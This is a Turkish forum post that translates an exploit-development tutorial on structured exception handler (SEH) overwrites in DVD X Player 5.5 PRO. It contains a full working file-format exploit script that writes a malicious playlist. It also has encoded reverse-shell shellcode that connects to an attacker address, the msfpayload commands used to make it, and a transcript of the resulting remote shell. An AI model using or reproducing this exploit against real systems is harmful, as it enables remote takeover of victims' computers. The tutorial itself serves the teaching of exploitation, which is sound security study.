Windows Exploit Geliştirme Serisi #3 | Structured Exception Handler (SEH)

Qgenays

Katılımcı Üye
20 Haz 2020
254
3
Los Santos
Bölüm 3: yapılandırılmış istisna işleyicisi (SEH)

Bu bölüm, istismarlar yazarken karşılaşacağınız ilk gerçek engeli kapsayacaktır.

"Yapılandırılmış istisna işleyicisi (SEH)”, arabellek taşmalarının kötüye kullanımını azaltmak için uygulanan bir koruma mekanizmasıdır, ancak göreceğimiz gibi, oldukça kusurlu bir mekanizmadır.

Bu öğreticinin SafeSEH veya SEHOP'U kapsamayacağından bahsetmeye değer, daha sonra bu gelişmiş koruma mekanizmalarını ele almak için bir "bölüm 3b" adadım.

SEH istismarları için gerekli olan metodolojiyi göstermek için “DVD X Player 5.5 PRO”için sıfırdan bir istismar oluşturacağız.

Yine normalde badcharacter analizi yapmamız gerekir, ancak basitlik için badcharacter'ları önceden listeleyeceğim, "\x00\x0a\x0D\x1a", bunları daha sonra akılda tutmamız gerekecek...

Exploit Geliştirme: Backtrack 5
Hata ayıklama makinesi: Windows XP Pro SP3
Savunmasız Yazılım: İndir

Yapılandırılmış Özel Durum İşleyicisine Giriş

"Bölüm 1" de söylediğim gibi, işleri olması gerektiği kadar zor veya basit tutmanın önemli olduğunu düşünüyorum, bu yüzden SEH tam teknik ayrıntıda açıklamayacağım, ancak size devam etmek için yeterli bilgi vereceğim.

İnternette biraz daha derinlemesine araştırma yapmanızı şiddetle tavsiye ederim.

SEH, Windows'da bir dizi veri kaydı içeren "bağlantılı liste" adlı bir veri yapısını kullanan bir mekanizmadır.

Bir istisna tetiklendiğinde, işletim sistemi bu listeden aşağı inecektir.

Özel durum işleyicisi, özel durumu işlemek için uygun olduğunu değerlendirebilir veya işletim sistemine listeden aşağı doğru devam etmesini ve diğer özel durum işlevlerini değerlendirmesini söyleyebilir.

Bunu yapabilmek için özel durum işleyicisinin iki öğe içermesi gerekir

(1) Geçerli “Özel Durum kayıt kaydı” (SEH) için bir işaretçi ve

(2) “Sonraki özel durum kayıt kaydı” (nSEH) için bir işaretçi.

Windows yığınımız aşağı doğru büyüdüğünden, bu kayıtların sırasının ters çevrildiğini göreceğiz [nSEH]...[SEH].

Bir program işlevinde bir özel durum oluştuğunda, özel durum işleyicisi, özel durumu yürütmek için Prologue işlevinin bir parçası olduğundan, yapısının öğelerini yığına itecektir.

İstisna sırasında SEH esp+8'de yer alacaktır.

Muhtemelen kendinize tüm bunların istismar geliştirme ile ne ilgisi olduğunu soruyorsunuz.

Aşırı uzun bir arabellek depolamak için bir program alırsak ve “yapılandırılmış bir istisna işleyicisi” nin üzerine yazarsak, Windows CPU kayıtlarını sıfırlar, böylece doğrudan kabuk kodumuza atlayamayız.

Neyse ki bu koruma mekanizması kusurlu.

Genel olarak yapmak istediğimiz şey, “POP POP RETN” talimatına bir işaretçi ile SEH üzerine yazmaktır (POP talimatı yığının üstünden 4 bayt kaldıracak ve RETN talimatı yürütmeyi yığının tepesine döndürecektir).

SEH esp+8'de olduğunu unutmayın, bu nedenle yığını 8 bayt ile artırırsak ve yığının üstündeki yeni işaretçiye geri dönersek, nSEH yürütürüz.

Daha sonra nseh'de, kabuk kodumuzu yerleştirebileceğimiz kontrol ettiğimiz bir bellek alanına atlayacak bir işlem kodu yazmak için en az 4 baytlık bir odamız var!

Her şey çok karmaşık geliyor, ama her şeyin ifadede olduğunu göreceksiniz, aslında bir SEH istismarı oluşturmak son derece kolay, aşağıdaki örnek bunu gösterecektir.

Kilitlenmeyi Çoğaltma

Tamam, aşağıda poc iskelet istismarımızı görebilirsiniz; bu bir fileformat istismarıdır.

Bir çalma listesi dosyasına uzun bir tampon yazacağız ( * .plf) daha sonra DVD oynatıcı tarafından okunacak ve bir arabellek taşmasına neden olacaktır (bu, bir TCP veya UDP bağlantısı üzerinden bir arabellek göndermekten gerçekten farklı değildir).

Buradaki tek göze çarpan nokta, “kurban” ın çalma listemizi açmak için kandırılması gerektiğidir.

Kod:
#!/usr/bin/python -w
  
filename="evil.plf"
 
buffer = "A"*2000
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Tamam, bu yüzden *oluşturuyoruz.plf, oynatıcıyı bağışıklık hata ayıklayıcısına takın ve çalma listesi dosyasını açın.

Oyuncu beklendiği gibi çöküyor, ilk istisnayı “Shift-F9” ile geçiyoruz (bunu yapıyoruz çünkü bu ilk istisna farklı bir sömürü tekniğine yol açıyor ve SEH ile ilgileniyoruz).

Aşağıda CPU kayıtlarının bir ekran görüntüsünü görebilirsiniz (SEH birkaç kaydı sıfırladığını fark edeceksiniz) ve seh kaydının üzerine yazdığımızı gösteren SEH zincirinin bir ekran görüntüsü.

xdOCPh.png



xdOQXy.png


SEH & nSEH üzerine yazma

Bir sonraki adım şaşırtıcı olmamalı, kazayı analiz etmemiz gerekiyor, bu yüzden ilk tamponumuzu ****sploit deseni ile değiştiriyoruz (aynı tampon uzunluğunu korumaya dikkat ediyoruz).

Kod:
root@bt:~/Desktop# cd /pentest/exploits/framework/tools/
root@bt:/pentest/exploits/framework/tools# ./pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4A
d5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah
0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5
[...snip...]
f5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj
0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5
Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co

*.plf'yi yeniden oluşturduktan sonra dosyası ve programın çökmesi mona'nın çökmeyi analiz etmesini sağlayabiliriz.

Bu analizin ekran görüntüsünü aşağıda görebilirsiniz.

Özellikle ilgilendiğimiz şey, SEH kaydının üzerine yazılan baytlardır, mona bu baytların arabelleğimizin ilk 612 baytından sonra doğrudan takip eden 4 bayt olduğunu gösterir.

!mona findmsp

xdOc1S.png


Tamam, şimdiye kadar çok iyi, bu bilgilere dayanarak, aşağıda gösterildiği gibi tamponumuzu yeniden oluşturabiliriz.

NSEH için 4 bayt tahsis edeceğiz, bu da doğrudan 4 bayt alan SEH önüne yerleştirilmelidir.

buffer = "A"*608 + [nSEH] + [SEH] +
"D"*1384
buffer = "A"*608 + "B"*4 + "C"*4 + "D"*1384

POP POP RETN için bir işaretçi ile SEH üzerine yazmamız gerektiğini unutmayın, bir kez daha mona kurtarmaya geliyor!

Aşağıda gösterilen komut tüm geçerli işaretçileri arayacaktır.

Mona'nın, SafeSEH modüllerinden gelen işaretçiler gibi potansiyel olarak sorunlu olabilecek işaretçileri zaten filtrelediğini belirtmek gerekir, sonuçları filtrelemek için mevcut seçeneklerin daha iyi anlaşılmasını sağlamak için belgelere bir göz atmanızı öneririm.

Sonuçları ekran görüntüsünde görebilirsiniz.

! mona seh

xdOqwY.png


Bu işaretçilerin çoğu yapacak, sadece herhangi bir kötü karakter içeremeyeceklerini unutmayın.

Şahsen, günlük ekranında görülenlerden hiçbirini seçmedim, çünkü retern + ofset yerine temiz bir geri dönüş istedim.

Mona 2968 geçerli işaretçi bulduğundan, seçim yapabileceğiniz çok şey var, sadece “seh.txt " bağışıklık hata ayıklayıcı yükleme klasöründe.

CPU'nun küçük Endian mimarisi nedeniyle bayt sırasını tersine çevirmemiz gerektiğini unutmayın.

Aşağıdaki sözdizimine dikkat edin.


Pointer: 0x61617619 : pop esi # pop edi # ret | asciiprint,ascii {PAGE_EXECUTE_READ} [EPG.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v1.12.21.2006 (C:\Program Files\Aviosoft\DVD X Player 5.5 Professional\EPG.dll)
Buffer: buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384

Şu an için nseh'i olduğu gibi bırakacağız, bir anda orada hangi değeri doldurmamız gerektiğini görmek için hata ayıklayıcıya bir göz atacağız.

POP POP RETN talimatımızın “EPG " den alındığına dikkat edin.dll " hangi DVD oynatıcı aittir, bu bizim istismar taşınabilir acros farklı işletim sistemleri olacağı anlamına gelir!!

Yeni POC'umuz böyle görünmeli...

Kod:
#!/usr/bin/python -w
  
filename="evil.plf"
 
#---------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                         #
#                                                                           #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                          #
# (2) nseh = ????                                                           #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                 #
# (3) shellcode space = 1384-bytes                                          #
#---------------------------------------------------------------------------#
 
buffer = "A"*608 + "B"*4 + "\x19\x76\x61\x61" + "D"*1384
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Tamam, yeni *.plf' yi yeniden yaratalım dosya ve hata ayıklayıcıdaki SEH işaretçimize bir kesme noktası koyun.

Shift-F9 ile ilk istisnayı geçtikten sonra kesme noktamıza ulaştık.

Aşağıdaki ekran görüntüsünü görebilirsiniz.

xdjyQt.png


Mükemmel!! Bu üç talimatı F7 ile adım atarsak, RETN talimatı bize “B”*4 (nSEH) ' yi geri getirecektir.

SEH koyduğumuz işaretçinin opcode dönüştürüldüğünü ve bundan sonra kabuk kodumuz için kullanılabilecek “D”*1384'ümüze sahip olduğunu görebiliriz.

Geriye kalan tek şey, “D”ye kısa bir sıçrama yapacak olan nshe'de bazı işlem kodları yazmaktır, bunu hata ayıklayıcıda canlı olarak yapabiliriz, aşağıdaki ekran görüntülerini gözlemleyebiliriz.

xdgZlU.png


xdg4RH.png


xdg921.png


NSEH arabellek bizim için atlamak için gerek işlem kodu şimdi bildiğimize göre çok güzel bir hile değil.

En az 6 bayt ileri atlamamız gerekiyor. Yeni tamponumuz böyle bir şeye benzemeli:


buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + "D"*1384

Shellcode + Oyun Bitti

Ciddi bir iş yapılır.

(1) kabuk kodumuza yer açmamız ve
(2) istismarımıza eklemek için bir yük oluşturmamız gerekiyor.

Yine, önceki bölümde olduğu gibi, tampon alanımızın dinamik olarak hesaplanmasını istiyoruz, böylece istersek kabuk kodunu kolayca değiştirebiliriz.

Aşağıdaki sonucu görebilirsiniz.

Shellcode değişkenine eklediğimiz herhangi bir shellcode, arabellek taşması tarafından yürütülür.

Kod:
#!/usr/bin/python -w
 
filename="evil.plf"
 
shellcode = (
)
 
#----------------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                                #
#                                                                                  #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                                 #
# (2) nseh = '\xEB\x06' => jump short 6-bytes                                      #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                        #
# (3) shellcode space = 1384-bytes                                                 #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
# (1) Initial overwrite, SEH leads us back 4-bytes to nSEH                         #
# (2) nSEH jumps over SEH and redirects execution to our B's                       #
# (3) We place our shellcode here ... Game Over!                                   #
#----------------------------------------------------------------------------------#
 
evil = "\x90"*20 + shellcode
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + evil + "B"*(1384-len(evil))
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Tamam, bir çeşit kabuk kodu oluşturma zamanı. Çeşitlilik uğruna ters bir kabuk kullanacağım...

Kod:
root@bt:~# msfpayload -l
[...snip...]
windows/shell_bind_tcp_xpfw       Disable the Windows ICF, then listen for a connection and spawn a 
                                  command shell
windows/shell_reverse_tcp         Connect back to attacker and spawn a command shell
windows/speak_pwned               Causes the target to say "You Got Pwned" via the Windows Speech API
[...snip...]

root@bt:~# msfpayload windows/shell_reverse_tcp O

       Name: Windows Command Shell, Reverse TCP Inline
     Module: payload/windows/shell_reverse_tcp
    Version: 8642
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 314
       Rank: Normal

Provided by:
  vlad902 <[email protected]>
  sf <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique: seh, thread, process, none
LHOST                      yes       The listen address
LPORT     4444             yes       The listen port

Description:
  Connect back to attacker and spawn a command shell
  
root@bt:~# msfpayload windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b 
           '\x00\x0A\x0D\x1A' -t c
[*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)

unsigned char buf[] = 
"\xba\x6f\x3d\x04\x90\xd9\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8d\xc8\xf8\x78\xd8"
"\x33\x01\x79\xba\xba\xe4\x48\xe8\xd9\x6d\xf8\x3c\xa9\x20\xf1"
"\xb7\xff\xd0\x82\xb5\xd7\xd7\x23\x73\x0e\xd9\xb4\xb2\x8e\xb5"
"\x77\xd5\x72\xc4\xab\x35\x4a\x07\xbe\x34\x8b\x7a\x31\x64\x44"
"\xf0\xe0\x98\xe1\x44\x39\x99\x25\xc3\x01\xe1\x40\x14\xf5\x5b"
"\x4a\x45\xa6\xd0\x04\x7d\xcc\xbe\xb4\x7c\x01\xdd\x89\x37\x2e"
"\x15\x79\xc6\xe6\x64\x82\xf8\xc6\x2a\xbd\x34\xcb\x33\xf9\xf3"
"\x34\x46\xf1\x07\xc8\x50\xc2\x7a\x16\xd5\xd7\xdd\xdd\x4d\x3c"
"\xdf\x32\x0b\xb7\xd3\xff\x58\x9f\xf7\xfe\x8d\xab\x0c\x8a\x30"
"\x7c\x85\xc8\x16\x58\xcd\x8b\x37\xf9\xab\x7a\x48\x19\x13\x22"
"\xec\x51\xb6\x37\x96\x3b\xdf\xf4\xa4\xc3\x1f\x93\xbf\xb0\x2d"
"\x3c\x6b\x5f\x1e\xb5\xb5\x98\x61\xec\x01\x36\x9c\x0f\x71\x1e"
"\x5b\x5b\x21\x08\x4a\xe4\xaa\xc8\x73\x31\x7c\x99\xdb\xea\x3c"
"\x49\x9c\x5a\xd4\x83\x13\x84\xc4\xab\xf9\xb3\xc3\x3c\xc2\x6c"
"\xa4\x38\xaa\x6e\x3a\x66\x2f\xe6\xdc\x02\x3f\xae\x77\xbb\xa6"
"\xeb\x03\x5a\x26\x26\x83\xff\xb5\xad\x53\x89\xa5\x79\x04\xde"
"\x18\x70\xc0\xf2\x03\x2a\xf6\x0e\xd5\x15\xb2\xd4\x26\x9b\x3b"
"\x98\x13\xbf\x2b\x64\x9b\xfb\x1f\x38\xca\x55\xc9\xfe\xa4\x17"
"\xa3\xa8\x1b\xfe\x23\x2c\x50\xc1\x35\x31\xbd\xb7\xd9\x80\x68"
"\x8e\xe6\x2d\xfd\x06\x9f\x53\x9d\xe9\x4a\xd0\xad\xa3\xd6\x71"
"\x26\x6a\x83\xc3\x2b\x8d\x7e\x07\x52\x0e\x8a\xf8\xa1\x0e\xff"
"\xfd\xee\x88\xec\x8f\x7f\x7d\x12\x23\x7f\x54";

Bazı notlar ekledikten sonra son istismar hazır!
Kod:
#!/usr/bin/python -w
 
#----------------------------------------------------------------------------------#
# Exploit: DVD X Player 5.5 Pro SEH (local BOF)                                    #
# OS: Tested XP PRO SP3 (EPG.dll should be universal)                              #
# Author: b33f (Ruben Boonen)                                                      #
# Software: http://www.exploit-db.com/wp-content/themes/exploit/applications       #
#           /cdfda7217304f4deb7d2e8feb5696394-DVDXPlayerSetup.exe                  #
#----------------------------------------------------------------------------------#
# This exploit was created for Part 3 of my Exploit Development tutorial series... #
# http://www.fuzzysecurity.com/tutorials/expDev/3.html                             #
#----------------------------------------------------------------------------------#
# root@bt:~# nc -lvp 9988                                                          #
# listening on [any] 9988 ...                                                      #
# 192.168.111.128: inverse host lookup failed: Unknown server error                #
# connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1044               #
# Microsoft Windows XP [Version 5.1.2600]                                          #
# (C) Copyright 1985-2001 Microsoft Corp.                                          #
#                                                                                  #
# G:\tutorial>ipconfig                                                             #
# ipconfig                                                                         #
#                                                                                  #
# Windows IP Configuration                                                         #
#                                                                                  #
#                                                                                  #
# Ethernet adapter Local Area Connection:                                          #
#                                                                                  #
#         Connection-specific DNS Suffix  . : localdomain                          #
#         IP Address. . . . . . . . . . . . : 192.168.111.128                      #
#         Subnet Mask . . . . . . . . . . . : 255.255.255.0                        #
#         Default Gateway . . . . . . . . . :                                      #
#                                                                                  #
# G:\tutorial>                                                                     #
#----------------------------------------------------------------------------------#
  
filename="evil.plf"
 
#---------------------------------------------------------------------------------------------------------------#
# msfpayload windows/shell_reverse_tcp LHOST=192.168.111.132 LPORT=9988 R| msfencode -b '\x00\x0A\x0D\x1A' -t c #
# [*] x86/shikata_ga_nai succeeded with size 341 (iteration=1)                                                  #
#---------------------------------------------------------------------------------------------------------------#
shellcode = (
"\xba\x6f\x3d\x04\x90\xd9\xc7\xd9\x74\x24\xf4\x5e\x2b\xc9\xb1"
"\x4f\x31\x56\x14\x83\xee\xfc\x03\x56\x10\x8d\xc8\xf8\x78\xd8"
"\x33\x01\x79\xba\xba\xe4\x48\xe8\xd9\x6d\xf8\x3c\xa9\x20\xf1"
"\xb7\xff\xd0\x82\xb5\xd7\xd7\x23\x73\x0e\xd9\xb4\xb2\x8e\xb5"
"\x77\xd5\x72\xc4\xab\x35\x4a\x07\xbe\x34\x8b\x7a\x31\x64\x44"
"\xf0\xe0\x98\xe1\x44\x39\x99\x25\xc3\x01\xe1\x40\x14\xf5\x5b"
"\x4a\x45\xa6\xd0\x04\x7d\xcc\xbe\xb4\x7c\x01\xdd\x89\x37\x2e"
"\x15\x79\xc6\xe6\x64\x82\xf8\xc6\x2a\xbd\x34\xcb\x33\xf9\xf3"
"\x34\x46\xf1\x07\xc8\x50\xc2\x7a\x16\xd5\xd7\xdd\xdd\x4d\x3c"
"\xdf\x32\x0b\xb7\xd3\xff\x58\x9f\xf7\xfe\x8d\xab\x0c\x8a\x30"
"\x7c\x85\xc8\x16\x58\xcd\x8b\x37\xf9\xab\x7a\x48\x19\x13\x22"
"\xec\x51\xb6\x37\x96\x3b\xdf\xf4\xa4\xc3\x1f\x93\xbf\xb0\x2d"
"\x3c\x6b\x5f\x1e\xb5\xb5\x98\x61\xec\x01\x36\x9c\x0f\x71\x1e"
"\x5b\x5b\x21\x08\x4a\xe4\xaa\xc8\x73\x31\x7c\x99\xdb\xea\x3c"
"\x49\x9c\x5a\xd4\x83\x13\x84\xc4\xab\xf9\xb3\xc3\x3c\xc2\x6c"
"\xa4\x38\xaa\x6e\x3a\x66\x2f\xe6\xdc\x02\x3f\xae\x77\xbb\xa6"
"\xeb\x03\x5a\x26\x26\x83\xff\xb5\xad\x53\x89\xa5\x79\x04\xde"
"\x18\x70\xc0\xf2\x03\x2a\xf6\x0e\xd5\x15\xb2\xd4\x26\x9b\x3b"
"\x98\x13\xbf\x2b\x64\x9b\xfb\x1f\x38\xca\x55\xc9\xfe\xa4\x17"
"\xa3\xa8\x1b\xfe\x23\x2c\x50\xc1\x35\x31\xbd\xb7\xd9\x80\x68"
"\x8e\xe6\x2d\xfd\x06\x9f\x53\x9d\xe9\x4a\xd0\xad\xa3\xd6\x71"
"\x26\x6a\x83\xc3\x2b\x8d\x7e\x07\x52\x0e\x8a\xf8\xa1\x0e\xff"
"\xfd\xee\x88\xec\x8f\x7f\x7d\x12\x23\x7f\x54")
 
#----------------------------------------------------------------------------------#
# (*) badchars = '\x00\x0A\x0D\x1A'                                                #
#                                                                                  #
# offset to: (2) nseh 608-bytes, (1) seh 112-bytes                                 #
# (2) nseh = '\xEB\x06' => jump short 6-bytes                                      #
# (1) seh = 0x61617619 : pop esi # pop edi # ret  | EPG.dll                        #
# (3) shellcode space = 1384-bytes                                                 #
#----------------------------------------------------------------------------------#
# SEH Exploit Structure:                                                           #
#                                    \---------------->                            #
#     [AAA..................AAA]   [nseh]   [seh]   [BBB..................BBB]     #
#     \-------------------------------------->                                     #
#                                     <-------/                                    #
# (1) Initial EIP overwrite, SEH leads us back 4-bytes to nSEH                     #
# (2) nSEH jumps over SEH and redirects execution to our B's                       #
# (3) We place our shellcode here ... Game Over!                                   #
#----------------------------------------------------------------------------------#
 
evil = "\x90"*20 + shellcode
buffer = "A"*608 + "\xEB\x06\x90\x90" + "\x19\x76\x61\x61" + evil + "B"*(1384-len(evil))
  
textfile = open(filename , 'w')
textfile.write(buffer)
textfile.close()

Aşağıdaki ekran görüntüsünde, “netstat-an” komutunun önce ve sonra çıktısını görebiliyoruz ve aşağıda ters kabuk bağlantımızın backtrack terminal çıkışına sahibiz.

Oyun Bitti!

xdXejp.png


Kod:
root@bt:~/Desktop# nc -lvp 9988
listening on [any] 9988 ...
192.168.111.128: inverse host lookup failed: Unknown server error : Connection timed out
connect to [192.168.111.132] from (UNKNOWN) [192.168.111.128] 1044
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

G:\tutorial>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter Local Area Connection:

        Connection-specific DNS Suffix  . : localdomain
        IP Address. . . . . . . . . . . . : 192.168.111.128
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 

G:\tutorial>

Translator: Qgenays
Source: https://www.fuzzysecurity.com/tutorials/expDev/3.html



 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.